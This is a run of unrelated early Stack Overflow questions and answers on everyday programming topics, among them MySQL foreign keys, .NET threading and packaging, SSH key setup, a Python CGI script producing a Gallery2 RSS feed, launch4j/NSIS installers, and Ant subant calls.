<p>From a high level, yes. :D The main thing is some place to store the templates. A database is a great option unless you're not already using one, then file systems work fine.</p> <p>WSIWIG editors (such as fckeditor) work well and give you some good options regarding the features that you allow.</p> <p>Some sort of token replacement system is also a good idea if you need it. For example, if someone puts %FIRSTNAME% in the email template, the code that generates the email can do some simple pattern matching to replace known tokens with other known values that may be dynamic based on user or other circumstances.</p>
Multiple foreign keys? <p>I've got a table that is supposed to track days and costs for shipping product from one vendor to another. We (brilliantly :p) stored both the shipping vendors (FedEx, UPS) with the product handling vendors (Think... Dunder Mifflin) in a "VENDOR" table. So, I have three columns in my SHIPPING_DETAILS table that all reference VENDOR.no. For some reason MySQL isn't letting me define all three as foreign keys. Any ideas?</p> <pre><code>CREATE TABLE SHIPPING_GRID( id INT NOT NULL AUTO_INCREMENT PRIMARY KEY COMMENT 'Unique ID for each row', shipping_vendor_no INT(6) NOT NULL COMMENT 'Foreign key to VENDOR.no for the shipping vendor (vendors_type must be 3)', start_vendor_no INT(6) NOT NULL COMMENT 'Foreign key to VENDOR.no for the vendor being shipped from', end_vendor_no INT(6) NOT NULL COMMENT 'Foreign key to the VENDOR.no for the vendor being shipped to', shipment_duration INT(1) DEFAULT 1 COMMENT 'Duration in whole days shipment will take', price FLOAT(5,5) NOT NULL COMMENT 'Price in US dollars per shipment lbs (down to 5 decimal places)', is_flat_rate TINYINT(1) DEFAULT 0 COMMENT '1 if is flat rate regardless of weight, 0 if price is by lbs', INDEX (shipping_vendor_no), INDEX (start_vendor_no), INDEX (end_vendor_no), FOREIGN KEY (shipping_vendor_no) REFERENCES VENDOR (no), FOREIGN KEY (start_vendor_no) REFERENCES VENDOR (no), FOREIGN KEY (end_vendor_no) REFERENCES VENDOR (no) ) TYPE = INNODB; </code></pre> <p><em>Edited to remove double primary key definition...</em></p> <hr> <p>Yeah, unfortunately that didn't fix it though. Now I'm getting:</p> <blockquote> <p>Can't create table './<em>REMOVED MY DB NAME</em>/SHIPPING_GRID.frm' (errno: 150)</p> </blockquote> <p>Doing a phpinfo() tells me this for mysql:</p> <blockquote> <p>Client API version 5.0.45</p> </blockquote> <p>Yes, the VENDOR.no is type int(6).</p>
<p>You defined the primary key twice. Try:</p> <pre><code>CREATE TABLE SHIPPING_GRID( id INT NOT NULL AUTO_INCREMENT PRIMARY KEY COMMENT 'Unique ID for each row', shipping_vendor_no INT(6) NOT NULL COMMENT 'Foreign key to VENDOR.no for the shipping vendor (vendors_type must be 3)', start_vendor_no INT(6) NOT NULL COMMENT 'Foreign key to VENDOR.no for the vendor being shipped from', end_vendor_no INT(6) NOT NULL COMMENT 'Foreign key to the VENDOR.no for the vendor being shipped to', shipment_duration INT(1) DEFAULT 1 COMMENT 'Duration in whole days shipment will take', price FLOAT(5,5) NOT NULL COMMENT 'Price in US dollars per shipment lbs (down to 5 decimal places)', is_flat_rate TINYINT(1) DEFAULT 0 COMMENT '1 if is flat rate regardless of weight, 0 if price is by lbs', INDEX (shipping_vendor_no), INDEX (start_vendor_no), INDEX (end_vendor_no), FOREIGN KEY (shipping_vendor_no) REFERENCES VENDOR (no), FOREIGN KEY (start_vendor_no) REFERENCES VENDOR (no), FOREIGN KEY (end_vendor_no) REFERENCES VENDOR (no) ) TYPE = INNODB; </code></pre> <p>The VENDOR primary key must be INT(6), and both tables must be of type InnoDB.</p>
How to programmatically iterate datagrid rows? <p>I'm suddenly back to WinForms, after years of web development, and am having trouble with something that should be simple. I have an <code>ArrayList</code> of business objects bound to a Windows Forms <code>DataGrid</code>. I'd like the user to be able to edit the cells, and when finished, press a Save button. At that point I'd like to iterate the all the rows and columns in the <code>DataGrid</code> to find any changes, and save them to the database. But I can't find a way to access the <code>DataGrid</code> rows. </p> <p>I'll also want to validate individual cells real time, as they are edited, but I'm pretty sure that can be done. (Maybe not with an <code>ArrayList</code> as the <code>DataSource</code>?) But as for iterating the <code>DataGrid</code>, I'm quite surprised it doesn't seem possible.</p> <p>Must I really stuff my business objects data into datatables in order to use the datagrid? </p>
<pre class="lang-cs prettyprint-override"><code>foreach(var row in DataGrid1.Rows) { DoStuff(row); } //Or --------------------------------------------- foreach(DataGridRow row in DataGrid1.Rows) { DoStuff(row); } //Or --------------------------------------------- for(int i = 0; i&lt; DataGrid1.Rows.Count - 1; i++) { DoStuff(DataGrid1.Rows[i]); } </code></pre>
.NET 3.5 Redistributable -- 200 MB? Other options? <P>I've been using a lot of new .NET 3.5 features in the work that I've been doing, lately. The application that I'm building is intended for distribution among consumers who will probably not have the latest version (or perhaps <EM>any version</EM>) of the .NET framework on their machines.</P> <P>I went to go <A href="http://www.microsoft.com/downloads/details.aspx?FamilyId=333325FD-AE52-4E35-B531-508D977D32A6&amp;displaylang=en">download the .NET 3.5 redistributable package</A> only to find out that it's almost <STRONG><EM>200 MB!</EM></STRONG> This is unacceptable for my application, because it's supposed to be a quick and painless consumer application that installs quickly and keeps a low profile on the user's machine. For users that have .NET 3.5 already installed, our binary downloads have been instantaneous, so far. This 200 MB gorilla will more than quadruple the size of the download. Is there any other option than this redistributable package that I can use to make sure the framework is on the machine that won't take the user out of our "quick and painless" workflow? Our target time from beginning of download to finalizing the install is less than two minutes. Is it just not possible for someone who doesn't already have .NET installed?</P>
<p>That's one of the sad reasons i'm still targeting .net 2.0 whenever possible :/</p> <p>But people don't neccessarily need the full 200 MB Package. There is a 3 MB Bootstrapper which will only download the required components:</p> <p><a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=ab99342f-5d1a-413d-8319-81da479ab0d7&amp;DisplayLang=en">.net 3.5 SP1 Bootstrapper</a></p> <p>However, the worst case scenario is still a pretty hefty download. Also, see <a href="http://blogs.msdn.com/astebner/archive/2008/01/10/7067719.aspx">this article</a> for a more detailed explanation on the size and an alternative workaround to the size problem.</p> <p>Addition: Since answering this question, Scott Hanselman created <a href="http://www.smallestdotnet.com">SmallestDotNet.com</a>, which will determine the smallest required download. Doesn't change the worst case scenario, but is still useful to know.</p>
Where should I put my log file for an asp.net application? <p>I have a ASP.NET application that we've written our own logging module for.</p> <p>My question is, where is the standard place to write a log file to? I.e. the website will be running as the anonymous user identity (e.g. IUSR on IIS7) and I need a place where I know it'll have permission to write to.</p> <p>Cheers,</p>
<p>App_Data folder on the root of the project. It isn't served to web requests; so other people can't snoop for it.</p>
How to wait for thread complete before continuing? <p>I have some code for starting a thread on the .NET CF 2.0:</p> <pre><code>ThreadStart tStart = new ThreadStart(MyMethod); Thread t = new Thread(tStart); t.Start(); </code></pre> <p>If I call this inside a loop the items complete out of order. How do introduce a wait after <code>t.Start()</code>, so that the work on the thread completes before the code continues? Will BeginInvoke/EndInvoke be a better option for this than manually creating threads?</p>
<p>How much order do you need to impose on the threads? If you just need all of the work started in the loop to finish before the code continues, but you don't care about the order the work within the loop finishes, then calling Join is the answer. To add more detail to <a href="http://stackoverflow.com/questions/6890/compact-framework-how-to-wait-for-thread-complete-before-continuing#6935" rel="nofollow" title="Modern Compiler Implementation in ML">Kevin Kenny's answer,</a> you should call Join <em>outside</em> the loop. This means you will need a collection to hold references to the threads you started:</p> <pre><code>// Start all of the threads. List&lt;Thread&gt; startedThreads = new List&lt;Thread&gt;(); foreach (...) { Thread thread = new Thread(new ThreadStart(MyMethod)); thread.Start(); startedThreads.Add(thread); } // Wait for all of the threads to finish. foreach (Thread thread in startedThreads) { thread.Join(); } </code></pre> <p>In contrast, if you called Join inside the loop, the result would basically be the same as not using threads at all. Each iteration of the loop body would create and start a thread but then immediately Join it and wait for it to finish.</p> <p>If the individual threads produce some result (write a message in a log, for example) then the messages may still appear out of order because there's no coordination between the threads. It is possible to get the threads to output their results in order by coordinating them with a Monitor.</p>
Animation in .NET <p>What is a good way to perform animation using .NET?</p> <p>I would prefer not to use Flash if possible, so am looking for suggestions of ways which will work to implement different types of animation on a new site I am producing.</p> <p>The new site is for a magician, so I want to provide animated buttons (Cards turning over, etc.) and also embed video. Is it possible to do this without using Flash or is this the only real solution? I would like to keep it as cross-platform and standard as possible.</p>
<p><a href="http://silverlight.net/Default.aspx" rel="nofollow" title="BenQ X-Touch">Silverlight</a> springs to mind as an obvious choice if you want to do animation using .NET on the web. It may not cover all platforms but will work in IE and FireFox and on the Mac.</p>
Setting up Continuous Integration with SVN <p>What tools would you recommend for setting up CI for build and deployment of multiple websites built on DotNetNuke using SVN for source control? </p> <p>We are currently looking at configuring Cruise Control to work with NAnt, NUnit, NCover and Trac as a test case. What other combinations would worth investigating?</p> <p>We have full control of our development environment so using some form of CI is certain here but I would also like to convince our production services team that they can reliably deploy to the system test, uat and even production environments using these tools.</p>
<p>Take a look at <a href="http://hudson-ci.org/" rel="nofollow">Hudson</a>. It's highly customizable, and, IMHO, easier than CruiseControl.</p>
How do I setup Public-Key Authentication? <p>How do I setup Public-Key Authentication for SSH?</p>
<p>If you have SSH installed, you should be able to run..</p> <pre><code>ssh-keygen </code></pre> <p>Then go through the steps, you'll have two files, <code>id_rsa</code> and <code>id_rsa.pub</code> (the first is your private key, the second is your public key - the one you copy to remote machines)</p> <p>Then, connect to the remote machine you want to login to, to the file <code>~/.ssh/authorized_keys</code> add the contents of your that <code>id_rsa.pub</code> file.</p> <p>Oh, and <code>chmod 600</code> all the <code>id_rsa*</code> files (both locally and remote), so no other users can read them:</p> <pre><code>chmod 600 ~/.ssh/id_rsa* </code></pre> <p>Similarly, ensure the remote <code>~/.ssh/authorized_keys</code> file is <code>chmod 600</code> also:</p> <pre><code>chmod 600 ~/.ssh/authorized_keys </code></pre> <p>Then, when you do <code>ssh remote.machine</code>, it should ask you for the key's password, not the remote machine.</p> <hr> <p>To make it nicer to use, you can use <code>ssh-agent</code> to hold the decrypted keys in memory - this means you don't have to type your keypair's password every single time. To launch the agent, you run (including the back-tick quotes, which eval the output of the <code>ssh-agent</code> command)</p> <pre><code>`ssh-agent` </code></pre> <p>On some distros, ssh-agent is started automatically. If you run <code>echo $SSH_AUTH_SOCK</code> and it shows a path (probably in /tmp/) it's already setup, so you can skip the previous command.</p> <p>Then to add your key, you do</p> <pre><code>ssh-add ~/.ssh/id_rsa </code></pre> <p>and enter your passphrase. It's stored until you remove it (using the <code>ssh-add -D</code> command, which removes all keys from the agent)</p>
What do you use to Unit-Test your Web UI? <p>The company I'm currently working for is using <a href="http://selenium.openqa.org/">Selenium</a> for Uniting-Testing our User Interface. What do you use to Unit-Test your Web UI and how effective do you find it? </p>
<p>I'm a huge fan of Selenium. Saying 'unit-testing your web ui' isn't exactly accurate as some of the comments have mentioned. However, I do find Selenium to be incredibly useful for performing those sort of acceptance and sanity tests on the UI.</p> <p>A good way to get started is using Selenium IDE as part of your development. Ie, just have the IDE open as you're developing and write your test as you go to cut down on your dev time. (Instead of having to manually go through the UI to get to the point where you can test whatever you're working on, just hit a button and Selenium IDE will take care of that for you. It's a terrific time-saver!)</p> <p>Most of my major use case scenarios have Selenium RC tests to back them up. You can't really think of them as unit-tests along the lines of an xUnit framework, but they are tests targetted to very specific functionality. They're quick to write (especially if you implement common methods for things like logging in or setting up your test cases), quick to run, and provide a very tight feedback loop. In those senses Selenium RC tests are very <em>similar</em> to unit-tests.</p> <p>I think, like anything else, if you put the effort into properly learning a test tool (eg, Selenium), your effort will pay off in spades. You mention that your company already uses Selenium to do UI testing. This is great. Work with it. If you find Selenium hard to use, or confusing, stick with it. The learning curve really isn't all that steep once you learn the API a little bit.</p> <p>If I'm working on a web app, its rare for me to write a significant amount of code without Selenium RC tests to back it up. That's how effective I find Selenium. :) (Hopefully that'll answer your question..)</p>
RSS feeds from Gallery2 <p>After a couple hours fighting with the <a href="http://gallery.menalto.com/" rel="nofollow">Gallery2</a> <a href="http://codex.gallery2.org/Gallery2:Modules:rss" rel="nofollow">RSS module</a> and getting only the message, "no feeds have yet been defined", I gave up. Based on <a href="http://www.google.com/search?q=%22no+feeds+have+yet+been+defined%22" rel="nofollow">a Google search for "no feeds have yet been defined"</a>, this is a pretty common problem. Do you have any tips and/or tricks for getting the Gallery2 RSS module to work? Or any tips for a relatively-PHP-ignorant developer trying to debug problems with this PHP application?</p>
<p>My eventual (and hopefully temporary) solution to this problem was a Python CGI script. My script follows for anyone who might find it useful (despite the fact that this is a total hack). </p> <pre><code>#!/usr/bin/python """A CGI script to produce an RSS feed of top-level Gallery2 albums.""" #import cgi #import cgitb; cgitb.enable() from time import gmtime, strftime import MySQLdb ALBUM_QUERY = ''' select g_id, g_title, g_originationTimestamp from g_Item where g_canContainChildren = 1 order by g_originationTimestamp desc limit 0, 20 ''' RSS_TEMPLATE = '''Content-Type: text/xml &lt;?xml version="1.0"?&gt; &lt;rss version="2.0"&gt; &lt;channel&gt; &lt;title&gt;TITLE&lt;/title&gt; &lt;link&gt;&lt;http://example.com/gallery2/main.php&gt;&lt;/link&gt; &lt;description&gt;DESCRIPTION&lt;/description&gt; &lt;ttl&gt;1440&lt;/ttl&gt; %s &lt;/channel&gt; &lt;/rss&gt; ''' ITEM_TEMPLATE = ''' &lt;item&gt; &lt;title&gt;%s&lt;/title&gt; &lt;link&gt;&lt;http://example.com/gallery2/main.php?g2_itemId=%s&gt;&lt;/link&gt; &lt;description&gt;%s&lt;/description&gt; &lt;pubDate&gt;%s&lt;/pubDate&gt; &lt;/item&gt; ''' def to_item(row): item_id = row[0] title = row[1] date = strftime("%a, %d %b %Y %H:%M:%S GMT", gmtime(row[2])) return ITEM_TEMPLATE % (title, item_id, title, date) conn = MySQLdb.connect(host = "HOST", user = "USER", passwd = "PASSWORD", db = "DATABASE") curs = conn.cursor() curs.execute(ALBUM_QUERY) print RSS_TEMPLATE % ''.join([ to_item(row) for row in curs.fetchall() ]) curs.close() </code></pre>
Some kind of task manager for JavaScript in Firefox 3? <p>Recently I have been having issues with Firefox 3 on Ubuntu Hardy Heron.</p> <p>I will click on a link and it will hang for a while. I don't know if its a bug in Firefox 3 or a page running too much client side JavaScript, but I would like to try and debug it a bit.</p> <p>So, my question is "is there a way to have some kind of process explorer, or task manager sort of thing for Firefox 3?"</p> <p>I would like to be able to see what tabs are using what percent of my processor via the JavaScript on that page (or anything in the page that is causing CPU/memory usage). </p> <p>Does anybody know of a plugin that does this, or something similar? Has anyone else done this kind of inspection another way?</p> <p>I know about FireBug, but I can't imagine how I would use it to finger which tab is using a lot of resources.</p> <p>Any suggestions or insights?</p>
<p>It's probably the <a href="http://shaver.off.net/diary/2008/05/25/fsyncers-and-curveballs/" rel="nofollow">awesome firefox3 fsync "bug"</a>, which is a giant pile of fail.</p> <p>In summary</p> <ul> <li>Firefox3 saves its bookmarks and history in an SQLite database</li> <li>Every time you load a page it writes to this database several times</li> <li>SQLite cares deeply that you don't lose your bookmarks, so each time it writes, instructs the kernel to flush it's database file to disk and ensure that it's fully written</li> <li>Many variants of linux, when told to flush like that, flush EVERY FILE. This may take up to a minute or more if you have background tasks doing any kind of disk intensive stuff.</li> <li>The kernel makes firefox wait while this flush happens, which locks up the UI.</li> </ul>
Packaging Java apps for the Windows/Linux desktop <p>I am writing an application in Java for the desktop using the Eclipse SWT library for GUI rendering. I think SWT helps Java get over the biggest hurdle for acceptance on the desktop: namely providing a Java application with a consistent, responsive interface that looks like that belonging to any other app on your desktop. However, I feel that packaging an application is still an issue. </p> <p>OS X natively provides an easy mechanism for wrapping Java apps in native application bundles, but producing an app for Windows/Linux that doesn't require the user to run an ugly batch file or click on a .jar is still a hassle. Possibly that's not such an issue on Linux, where the user is likely to be a little more tech-savvy, but on Windows I'd like to have a regular .exe for him/her to run.</p> <p>Has anyone had any experience with any of the .exe generation tools for Java that are out there? I've tried JSmooth but had various issues with it. Is there a better solution before I crack out Visual Studio and roll my own?</p> <p><strong>Edit:</strong> I should perhaps mention that I am unable to spend a lot of money on a commercial solution.</p>
<p>To follow up on pauxu's answer, I'm using launch4j and NSIS on a project of mine and thought it would be helpful to show just how I'm using them. Here's what I'm doing for Windows. BTW, I'm creating .app and .dmg for Mac, but haven't figured out what to do for Linux yet.</p> <h2>Project Copies of launch4j and NSIS</h2> <p>In my project I have a "vendor" directory and underneath it I have a directory for "launch4j" and "nsis". Within each is a copy of the install for each application. I find it easier to have a copy local to the project rather than forcing others to install both products and set up some kind of environment variable to point to each.</p> <h2>Script Files</h2> <p>I also have a "scripts" directory in my project that holds various configuration/script files for my project. First there is the launch4j.xml file:</p> <pre><code>&lt;launch4jConfig&gt; &lt;dontWrapJar&gt;true&lt;/dontWrapJar&gt; &lt;headerType&gt;gui&lt;/headerType&gt; &lt;jar&gt;rpgam.jar&lt;/jar&gt; &lt;outfile&gt;rpgam.exe&lt;/outfile&gt; &lt;errTitle&gt;&lt;/errTitle&gt; &lt;cmdLine&gt;&lt;/cmdLine&gt; &lt;chdir&gt;.&lt;/chdir&gt; &lt;priority&gt;normal&lt;/priority&gt; &lt;downloadUrl&gt;http://www.rpgaudiomixer.com/&lt;/downloadUrl&gt; &lt;supportUrl&gt;&lt;/supportUrl&gt; &lt;customProcName&gt;false&lt;/customProcName&gt; &lt;stayAlive&gt;false&lt;/stayAlive&gt; &lt;manifest&gt;&lt;/manifest&gt; &lt;icon&gt;&lt;/icon&gt; &lt;jre&gt; &lt;path&gt;&lt;/path&gt; &lt;minVersion&gt;1.5.0&lt;/minVersion&gt; &lt;maxVersion&gt;&lt;/maxVersion&gt; &lt;jdkPreference&gt;preferJre&lt;/jdkPreference&gt; &lt;/jre&gt; &lt;splash&gt; &lt;file&gt;..\images\splash.bmp&lt;/file&gt; &lt;waitForWindow&gt;true&lt;/waitForWindow&gt; &lt;timeout&gt;60&lt;/timeout&gt; &lt;timeoutErr&gt;true&lt;/timeoutErr&gt; &lt;/splash&gt; &lt;/launch4jConfig&gt; </code></pre> <p>And then there's the NSIS script rpgam-setup.nsis. It can take a VERSION argument to help name the file.</p> <pre><code>; The name of the installer Name "RPG Audio Mixer" !ifndef VERSION !define VERSION A.B.C !endif ; The file to write outfile "..\dist\installers\windows\rpgam-${VERSION}.exe" ; The default installation directory InstallDir "$PROGRAMFILES\RPG Audio Mixer" ; Registry key to check for directory (so if you install again, it will ; overwrite the old one automatically) InstallDirRegKey HKLM "Software\RPG_Audio_Mixer" "Install_Dir" # create a default section. section "RPG Audio Mixer" SectionIn RO ; Set output path to the installation directory. SetOutPath $INSTDIR File /r "..\dist\layout\windows\" ; Write the installation path into the registry WriteRegStr HKLM SOFTWARE\RPG_Audio_Mixer "Install_Dir" "$INSTDIR" ; Write the uninstall keys for Windows WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\RPGAudioMixer" "DisplayName" "RPG Audio Mixer" WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\RPGAudioMixer" "UninstallString" '"$INSTDIR\uninstall.exe"' WriteRegDWORD HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\RPGAudioMixer" "NoModify" 1 WriteRegDWORD HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\RPGAudioMixer" "NoRepair" 1 WriteUninstaller "uninstall.exe" ; read the value from the registry into the $0 register ;readRegStr $0 HKLM "SOFTWARE\JavaSoft\Java Runtime Environment" CurrentVersion ; print the results in a popup message box ;messageBox MB_OK "version: $0" sectionEnd Section "Start Menu Shortcuts" CreateDirectory "$SMPROGRAMS\RPG Audio Mixer" CreateShortCut "$SMPROGRAMS\RPG Audio Mixer\Uninstall.lnk" "$INSTDIR\uninstall.exe" "" "$INSTDIR\uninstall.exe" 0 CreateShortCut "$SMPROGRAMS\RPG AUdio Mixer\RPG Audio Mixer.lnk" "$INSTDIR\rpgam.exe" "" "$INSTDIR\rpgam.exe" 0 SectionEnd Section "Uninstall" ; Remove registry keys DeleteRegKey HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\RPGAudioMixer" DeleteRegKey HKLM SOFTWARE\RPG_Audio_Mixer ; Remove files and uninstaller Delete $INSTDIR\rpgam.exe Delete $INSTDIR\uninstall.exe ; Remove shortcuts, if any Delete "$SMPROGRAMS\RPG Audio Mixer\*.*" ; Remove directories used RMDir "$SMPROGRAMS\RPG Audio Mixer" RMDir "$INSTDIR" SectionEnd </code></pre> <h2>Ant Integration</h2> <p>I have some targets in my Ant buildfile (build.xml) to handle the above. First I tel Ant to import launch4j's Ant tasks:</p> <pre><code>&lt;property name="launch4j.dir" location="vendor/launch4j" /&gt; &lt;taskdef name="launch4j" classname="net.sf.launch4j.ant.Launch4jTask" classpath="${launch4j.dir}/launch4j.jar:${launch4j.dir}/lib/xstream.jar" /&gt; </code></pre> <p>I then have a simple target for creating the wrapper executable:</p> <pre><code>&lt;target name="executable-windows" depends="jar" description="Create Windows executable (EXE)"&gt; &lt;launch4j configFile="scripts/launch4j.xml" outfile="${exeFile}" /&gt; &lt;/target&gt; </code></pre> <p>And another target for making the installer:</p> <pre><code>&lt;target name="installer-windows" depends="executable-windows" description="Create the installer for Windows (EXE)"&gt; &lt;!-- Lay out files needed for building the installer --&gt; &lt;mkdir dir="${windowsLayoutDirectory}" /&gt; &lt;copy file="${jarFile}" todir="${windowsLayoutDirectory}" /&gt; &lt;copy todir="${windowsLayoutDirectory}/lib"&gt; &lt;fileset dir="${libraryDirectory}" /&gt; &lt;fileset dir="${windowsLibraryDirectory}" /&gt; &lt;/copy&gt; &lt;copy todir="${windowsLayoutDirectory}/icons"&gt; &lt;fileset dir="${iconsDirectory}" /&gt; &lt;/copy&gt; &lt;copy todir="${windowsLayoutDirectory}" file="${exeFile}" /&gt; &lt;mkdir dir="${windowsInstallerDirectory}" /&gt; &lt;!-- Build the installer using NSIS --&gt; &lt;exec executable="vendor/nsis/makensis.exe"&gt; &lt;arg value="/DVERSION=${version}" /&gt; &lt;arg value="scripts/rpgam-setup.nsi" /&gt; &lt;/exec&gt; &lt;/target&gt; </code></pre> <p>The top portion of that just copies the necessary files for the installer to a temporary location and the second half executes the script that uses all of it to make the installer.</p>
How do you open a file in C++? <p>I want to open a file for reading, the C++ way. I need to be able to do it for:</p> <ul> <li><p>text files, which would involve some sort of read line function.</p></li> <li><p>binary files, which would provide a way to read raw data into a <code>char*</code> buffer.</p></li> </ul>
<p>You need to use an <a href="http://en.cppreference.com/w/cpp/io/basic_ifstream"><code>ifstream</code></a> if you just want to read (use an <code>ofstream</code> to write, or an <code>fstream</code> for both).</p> <p>To open a file in text mode, do the following:</p> <pre><code>ifstream in("filename.ext", ios_base::in); // the in flag is optional </code></pre> <p>To open a file in binary mode, you just need to add the "binary" flag.</p> <pre><code>ifstream in2("filename2.ext", ios_base::in | ios_base::binary ); </code></pre> <p>Use the <a href="http://en.cppreference.com/w/cpp/io/basic_istream/read"><code>ifstream.read()</code></a> function to read a block of characters (in binary or text mode). Use the <a href="http://en.cppreference.com/w/cpp/string/basic_string/getline"><code>getline()</code></a> function (it's global) to read an entire line.</p>
How important is W3C XHTML/CSS validation when finalizing work? <p>Even though I always strive for complete validation these days, I often wonder if it's a waste of time. If the code runs and it looks the same in all browsers (I use browsershots.org to verify) then do I need to take it any further or am I just being overly anal?</p> <p>What level do you hold your code to when you create it for:</p> <p>a) yourself b) your clients</p> <p>P.S. Jeff and company, why doesn't stack overflow validate? :)</p> <p><strong>EDIT: Some good insights, I think that since I've been so valid-obsessed for so long I program knowing what will cause problems and what won't so I'm in a better position than people who create a site first and then "go back and fix the validation problems"</strong></p> <p><strong>I think I may post another question on stack overflow; "Do you validate as you go or do you finish and then go back and validate?" as that seems to be where this question is going</strong></p>
<p>a) Must look the same</p> <p>b) As standards-compliant as possible, but not so anal that it blocks finishing work</p> <p>In a situation where you have perpetual access to the code, I don't think standards-compliance is all that important, since you can always make changes to the code if something breaks. If you don't have perpetual access (ie, you sign off on the code and it becomes someone else's responsibility), it's probably best to be as standards-compliant as possible to minimize maintenance headaches later... even if you never have to deal with the code again, your reputation persists and can be transmitted to other potential clients, and many teams like to blame the previous developer(s) for problems that come up.</p>
Printing from a .NET Service <p>I am working on a project right now that involves receiving a message from another application, formatting the contents of that message, and sending it to a printer. Technology of choice is C# windows service. The output could be called a report, I suppose, but a reporting engine is not necessary. A simple templating engine, like StringTemplate, or even XSLT outputting HTML would be fine. The problem I'm having is finding a free way to print this kind of output from a service. Since it <em>seems</em> that it will work, I'm working on a prototype using Microsoft's RDLC, populating a local report and then rendering it as an image to a memory stream, which I will then print. Issues with that are:</p> <ul> <li>Multi-page printing will be a big headache.</li> <li>Still have to use PrintDocument to print the memory stream, which is unsupported in a Windows Service (though it may work - haven't gotten that far with the prototype yet)</li> <li>If the data coming across changes, I have to change the dataset, and the class that the data is being deserialized into. bad bad bad.</li> </ul> <p>Has anyone had to do anything remotely like this? Any advice? I already posed a question about printing HTML without user input, and after wasting about 3 days on that, I have come to the conclusion that it cannot be done, at least not with any freely available tool.</p> <p>All help is appreciated.</p> <p>EDIT: We are on version 2.0 of the .NET framework.</p>
<p>Trust me, you will spend more money trying to search/develop a solution for this as compared to buying a third party component. Do not reinvent the wheel and go for the paid solution.</p> <p>Printing is a complex problem and I would love to see the day when better framework support is added for this.</p>
Beginners Guide to LINQ <p>During the beta of Stack Overflow, I have seen quite a few questions about LINQ SQL but know nothing about it... it sounds very interesting.</p> <p><strong>What is LINQ and how do I get started?</strong></p> <p>Links guides or documentation a bonus :)</p> <p><em>PS: I am a long time C# developer who daily uses Datatables and Parameterized SQL</em></p>
<p>LINQ stands for Language Integrated Query and is a set of extensions for .NET that allow you to query data the same way from code and isn't tied to a specific data source. You can use the same LINQ code for SQL Server, XML, objects, DataSets, and Entities.</p> <p>Here is a good intro from <a href="http://weblogs.asp.net/scottgu/archive/2006/05/14/446412.aspx">Scott Guthrie</a></p> <p>This is a nice set of 101 <a href="http://msdn.microsoft.com/en-us/vcsharp/aa336746.aspx">LINQ Samples</a></p>
Suggestions for Adding Plugin Capability? <p>Is there a general procedure for programming extensibility capability into your code?</p> <p>I am wondering what the general procedure is for adding extension-type capability to a system you are writing so that functionality can be extended through some kind of plugin API rather than having to modify the core code of a system.</p> <p>Do such things tend to be dependent on the language the system was written in, or is there a general method for allowing for this?</p>
<p>I've used event-based APIs for plugins in the past. You can insert hooks for plugins by dispatching events and providing access to the application state.</p> <p>For example, if you were writing a blogging application, you might want to raise an event just before a new post is saved to the database, and provide the post HTML to the plugin to alter as needed.</p>
Ant build scripts, antcall, dependencies, etc <p>I have a build script and as part of that script it copies a jar file to a directory, for ease lets call it the utils jar. the utils jar is built by another build script sitting in another directory. What im trying to do have my build script run the utils build script so that I can ensure the utils jar is up to date.</p> <p>So I know I need to import the utils build file.</p> <pre><code>&lt;import file="../utils/build/build.xml" /&gt; </code></pre> <p>Which doesn't work because the import task, unlike almost every other ant taks, doesn't run from basedir, it runs from the pwd. So to get around that I have this little ditty, which does successfully import the build file</p> <pre><code> &lt;property name="baseDirUpOne" location=".." /&gt; &lt;import file="${baseDirUpOne}/utils/build/build.xml" /&gt; </code></pre> <p>So now that ive solved my import problem I need to call the task, well that should be easy right:</p> <pre><code>&lt;antcall target="utils.package" /&gt; </code></pre> <p><em>note that in the above, utils is the project name of ../utils/build/build.xml</em></p> <p>the problem I'm now running into is that ant call doesn't execute in ../utils/build so what I need, and cant find, is a runat property or something similar, essentially:</p> <pre><code>&lt;antcall target="utils.package" runat="../utils/build" /&gt; </code></pre> <p>The reason I need this is that in my utils build file the step to select which code to copy to the jar is based on relative paths so as to avoid hardcoding paths in my ant file. Any ideas? </p>
<p>I've got something similar set up: I have a main Ant build.xml which calls a separate build.xml that takes care of building my tests. This is how I do it:</p> <pre><code>&lt;target name="build-tests"&gt; &lt;subant target="build"&gt; &lt;fileset dir="${test.home}" includes="build.xml"/&gt; &lt;/subant&gt; &lt;/target&gt; </code></pre> <p>The trick is to use <a href="http://ant.apache.org/manual/Tasks/subant.html"><code>subant</code></a> instead of <code>antcall</code>. You don't have to import the other build file.</p>
Best implementation for Key Value Pair Data Structure? <p>So I've been poking around with C# a bit lately, and all the Generic Collections have me a little confused. Say I wanted to represent a data structure where the head of a tree was a key value pair, and then there is one optional list of key value pairs below that (but no more levels than these). Would this be suitable?</p> <pre><code>public class TokenTree { public TokenTree() { /* I must admit to not fully understanding this, * I got it from msdn. As far as I can tell, IDictionary is an * interface, and Dictionary is the default implementation of * that interface, right? */ SubPairs = new Dictionary&lt;string, string&gt;(); } public string Key; public string Value; public IDictionary&lt;string, string&gt; SubPairs; } </code></pre> <p>It's only really a simple shunt for passing around data.</p>
<p>There is an actual Data Type called KeyValuePair, use like this</p> <pre><code>KeyValuePair&lt;string, string&gt; myKeyValuePair = new KeyValuePair&lt;string,string&gt;("defaultkey", "defaultvalue"); </code></pre>
Not showing Dialog when opening file in Acrobat Pro using Applescript <p>When opening Adobe Acrobat Pro, whether it be through <strong>Applescript</strong> or finder, the introductory dialog is shown. Is there a way to not show this dialog without already having checked the "Don't Show Again" option when opening a document using <strong>Applescript</strong>? </p> <p>Photoshop and Illustrator <strong>Applescript</strong> libraries have ways of setting interaction levels and not showing dialogs, but I can't seem to find the option in Acrobat.</p>
<p>Copy any applicable preferences files in ~/Library/Preferences from a machine that you have checked "Don't show again" on.</p>
Get list of domains on the network <p>Using the Windows API, how can I get a list of domains on my network?</p>
